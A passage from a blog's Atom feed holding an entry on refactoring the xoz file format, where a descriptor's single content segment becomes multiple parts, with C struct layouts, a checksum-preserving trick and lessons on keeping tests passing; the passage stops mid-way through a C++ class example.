<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://book-of-gehn.github.io</id>
  <title>The Book of Gehn</title>
  <updated>2026-09-26T18:28:46.565623+00:00</updated>
  <author>
    <name>Martin Di Paola</name>
    <email>martinp.dipaola@gmail.com</email>
  </author>
  <link href="https://book-of-gehn.github.io" rel="alternate"/>
  <link href="https://book-of-gehn.github.io/atom.xml" rel="self"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="0.9.0">python-feedgen</generator>
  <subtitle>The low and the high level of a lot of things: crypto, math, hacking and computer stuff.</subtitle>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2025/05/25/Lessons-Learnt-on-Refactoring-Without-Breaking.html</id>
    <title>Lessons Learnt on Refactoring Without Breaking</title>
    <updated>2025-05-25T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;In &lt;a href="https://github.com/eldipa/xoz"&gt;xoz&lt;/a&gt;, every single piece of content data is associated with a &lt;em&gt;descriptor&lt;/em&gt;. The content data may fit in the descriptor structure so it is placed somewhere else in the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xoz&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;This content is referenced by the descriptor by a object called &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Segment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that knows how to recover the descriptor’s content.&lt;/p&gt;
&lt;p&gt;I eventually realized that a single segment would not be enough: if the descriptor would like to have multiple contents &lt;em&gt;parts&lt;/em&gt;, the descriptor should own multiple segments as well.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“I should replace &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;segm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;segm&lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and that’s all - a simple refactor - how hard could be?”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Hell…&lt;!--more--&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the branch ended with 69 commits, &lt;a href="https://github.com/eldipa/xoz/commit/5521498b16a2bd24440a865c88f25c141be4271c"&gt;squashed in a single commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;it was 1 month of work&lt;/li&gt;
&lt;li&gt;41 files were changed&lt;/li&gt;
&lt;li&gt;with 3014 insertions and 1479 deletions in total&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It was hard, not because it was difficult the change but because it was really hard to not break 300 tests with a single change.&lt;/p&gt;
&lt;p&gt;This post is a summary of a few good lessons learnt.&lt;/p&gt;
&lt;h2 id="the-price-of-breaking-backward-compatibility"&gt;The price of breaking backward compatibility&lt;/h2&gt;
&lt;p&gt;Let me show exactly how was the situation before the refactor.&lt;/p&gt;
&lt;p&gt;The descriptor is stored &lt;em&gt;in disk&lt;/em&gt; as as follows:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;descriptor_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;own_content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// mask: 0x8000&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lo_isize&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// mask: 0x7c00&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;has_id&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// mask: 0x0200&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// mask: 0x01ff&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* present if own_content == 1 */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;large&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// mask: 0x8000&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lo_csize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// mask: 0x7fff&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* present if own_content == 1 and large == 1 */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hi_csize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* present if own_content == 1 */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;segment_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;segm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It is obvious that if I wanted to change the single &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;segm&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; by an array, I needed to store &lt;em&gt;in disk&lt;/em&gt; how many elements segments the array has, how many &lt;em&gt;“parts”&lt;/em&gt; the content has: a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;content_part_cnt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; counter.&lt;/p&gt;
&lt;p&gt;The problem is that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xoz&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has almost 500 tests and most of them check directly or indirectly how &lt;strong&gt;exactly&lt;/strong&gt; a descriptor is written to disk.&lt;/p&gt;
&lt;p&gt;Adding a new field will break a lot of them if not all.&lt;/p&gt;
&lt;p&gt;Even if some tests don’t check what is written, they compute a &lt;strong&gt;checksum&lt;/strong&gt; of the structure. Adding &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;content_part_cnt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will make the checksum differ and again, more tests would be broken.&lt;/p&gt;
&lt;p&gt;By that time &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xoz&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was not released to the public so changing the file format in such non-backward compatible way was fine… &lt;strong&gt;except for me!&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="lesson-1-minimize-the-changes"&gt;Lesson 1: minimize the changes&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;own_content&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; signals if the descriptor has or not a segment. With multiple content parts (multiple segments), that bit would signal if there is at least one segment.&lt;/p&gt;
&lt;p&gt;This means that one segment is always implicit if &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;own_content&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is set. A &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;content_part_cnt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; does not have to count how many parts are but how many are plus the one implicit. A &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;content_part_cnt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; valued to zero would mean that there is one content part.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;So what?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xoz&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; uses the same checksum that the IP protocol uses: it is not very robust but it can be computed easily and in particular, adding 2-bytes zeros does not change the checksum.&lt;/p&gt;
&lt;p&gt;So for all my tests that have a single segment, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;content_part_cnt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will be zero and for such tests, the checksum will not change.&lt;/p&gt;
&lt;p&gt;I cannot avoid fixing the tests that check &lt;em&gt;exactly&lt;/em&gt; what is written to disk but I can prevent breaking the ones that check the checksum.&lt;/p&gt;
&lt;p&gt;This is how the structure looks like now:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;descriptor_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;own_content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// mask: 0x8000&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lo_isize&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// mask: 0x7c00&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;has_id&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// mask: 0x0200&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// mask: 0x01ff&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* present if own_content == 1 */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;content_part_cnt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* present if own_content == 1 */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;content_part_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cdata_entries&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;content_part_cnt&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Another detail: the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;large&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;lo_csize&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;hi_csize&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; fields define the size of the content part so now they are bundled together with its segment &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;segm&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;content_part_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has the same layout as before to not break more tests.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;content_part_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;large&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// mask: 0x8000&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lo_csize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// mask: 0x7fff&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* present if large == 1 */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hi_csize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;segment_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;segm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="lesson-2-if-you-break-too-much-stop-and-step-back"&gt;Lesson 2: if you break too much, stop and step back&lt;/h2&gt;
&lt;p&gt;Once I resolved the disk format it was time to do the refactor of the structures in memory and run the tests.&lt;/p&gt;
&lt;p&gt;But when I tried to do a much larger change in the code base, &lt;em&gt;hell&lt;/em&gt;, too many broken tests! Much more that I anticipated.&lt;/p&gt;
&lt;p&gt;I faced this situation several times and the lesson that I learnt was &lt;em&gt;“if you break too much, stop and step back”&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;No, it was not a bug, it was a &lt;strong&gt;symptom&lt;/strong&gt; that the refactor was &lt;strong&gt;too disruptive&lt;/strong&gt; to be done in a single changeset.&lt;/p&gt;
&lt;p&gt;Starting to do multiple sub-fixes + sub-refactors, all at once, while having the tests broken was a &lt;strong&gt;no-go&lt;/strong&gt;. Doing it so it’s like going for a driving, blind.&lt;/p&gt;
&lt;p&gt;Step back and try something smaller…, even if you are going to throw it away later.&lt;/p&gt;
&lt;h2 id="lesson-3-do-incomplete-throw-away-refactors-keep-all-tests-passing"&gt;Lesson 3: do incomplete throw-away refactors, keep all tests passing&lt;/h2&gt;
&lt;p&gt;Step back and try something smaller…, small incomplete refactors &lt;em&gt;even&lt;/em&gt; if you are going to &lt;em&gt;throw it away later&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;For example, I &lt;em&gt;only&lt;/em&gt; modified the read-from-disk and write-to-disk functions and maintain all the rest of the code from using the first segment loaded.&lt;/p&gt;
&lt;p&gt;That allowed me to test the read/write of the new &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;content_part_cnt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and fix the tests being 99% sure that if a test was broken it was because I added 2 zero bytes (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;content_part_cnt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and nothing else.&lt;/p&gt;
&lt;p&gt;I was sure that part of the code that I did it was temporal and not part of the real refactor but doing these intermedian changes allowed me to &lt;em&gt;keep the tests passing all the time&lt;/em&gt; (after a reasonable amount of fixing).&lt;/p&gt;
&lt;p&gt;But I eventually I got stuck.&lt;/p&gt;
&lt;h2 id="lesson-4-if-decoupling-is-hard-isolate-first-with-spies"&gt;Lesson 4: if decoupling is hard, isolate first (with spies)&lt;/h2&gt;
&lt;p&gt;In &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xoz&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Descriptor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; objects are managed by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; sets.&lt;/p&gt;
&lt;p&gt;These &lt;em&gt;sets&lt;/em&gt; are an unorder collections of descriptors, not just in memory but also in disk. There is an &lt;em&gt;intimate relationship&lt;/em&gt; between those two in order to operate efficiently. In fact, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;strong&gt;is&lt;/strong&gt; a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;friend&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; class of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Descriptor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And this &lt;strong&gt;is&lt;/strong&gt; a problem.&lt;/p&gt;
&lt;p&gt;Changing the internals of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Descriptor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; made the logic in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to change in unexpected ways.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkJ1dCB3aHk/IEJlY2F1c2Ugb2YgbGlmZS4KCkFuZCBiZWNhdXNlIGBEZXNjcmlwdG9yU2V0YCB3YXMgZGV2ZWxvcGVkIG11Y2ggZWFybGllci4gQmFjayB0aGVuCnRoZSBgRGVzY3JpcHRvcmAgY2xhc3MgZGlkbid0IG9mZmVyIGFueSBwdWJsaWMgQVBJIHRvIG1hbmFnZSB0aGUgY29udGVudApzZWdtZW50IGJ1dCBhbHNvIGJlY2F1c2UgdXNpbmcgdGhlIGludGVybmFscywgYERlc2NyaXB0b3JTZXRgIGNvdWxkIGRvCnRoaW5ncyBoYXJkIHRvIGdldCBkb25lIG90aGVyd2lzZS4KClRpbWUgcGFzc2VkLCBhbmQgYERlc2NyaXB0b3JgIGFjcXVpcmVkIGEgc2ltcGxpZmllZCwgaGlnaC1sZXZlbCBBUEkKZm9yIG1hbmFnaW5nIGl0cyBjb250ZW50LiBHcmVhdCBmb3IgYW55IHN1YmNsYXNzIG9mIGl0IGJ1dCB0b28gbGltaXRlZApmb3IgYERlc2NyaXB0b3JTZXRgLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkJ1dCB3aHk/IEJlY2F1c2Ugb2YgbGlmZS4KCkFuZCBiZWNhdXNlIGBEZXNjcmlwdG9yU2V0YCB3YXMgZGV2ZWxvcGVkIG11Y2ggZWFybGllci4gQmFjayB0aGVuCnRoZSBgRGVzY3JpcHRvcmAgY2xhc3MgZGlkbid0IG9mZmVyIGFueSBwdWJsaWMgQVBJIHRvIG1hbmFnZSB0aGUgY29udGVudApzZWdtZW50IGJ1dCBhbHNvIGJlY2F1c2UgdXNpbmcgdGhlIGludGVybmFscywgYERlc2NyaXB0b3JTZXRgIGNvdWxkIGRvCnRoaW5ncyBoYXJkIHRvIGdldCBkb25lIG90aGVyd2lzZS4KClRpbWUgcGFzc2VkLCBhbmQgYERlc2NyaXB0b3JgIGFjcXVpcmVkIGEgc2ltcGxpZmllZCwgaGlnaC1sZXZlbCBBUEkKZm9yIG1hbmFnaW5nIGl0cyBjb250ZW50LiBHcmVhdCBmb3IgYW55IHN1YmNsYXNzIG9mIGl0IGJ1dCB0b28gbGltaXRlZApmb3IgYERlc2NyaXB0b3JTZXRgLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
But why? Because of life.
&lt;br /&gt;&lt;br /&gt;
And because &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was developed much earlier. Back then the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Descriptor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; class didn’t offer any public API to manage the content segment but also because using the internals, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; could do things hard to get done otherwise.
&lt;br /&gt;&lt;br /&gt;
Time passed, and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Descriptor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; acquired a simplified, high-level API for managing its content. Great for any subclass of it but too limited for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;And to make it worse, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; used its own self-managed content segment (to store the descriptors in the set) &lt;strong&gt;bypassing the public interface&lt;/strong&gt; of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Descriptor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to interact with the content.&lt;/p&gt;
&lt;p&gt;The following is a oversimplification of the code:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Descriptor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;private&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;friend&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;DescriptorSet&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// old, single-part content logic (but still the one working by now)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;csize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;segm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// new, multi-part content logic (loaded from disk, but not in use)&lt;/span&gt;
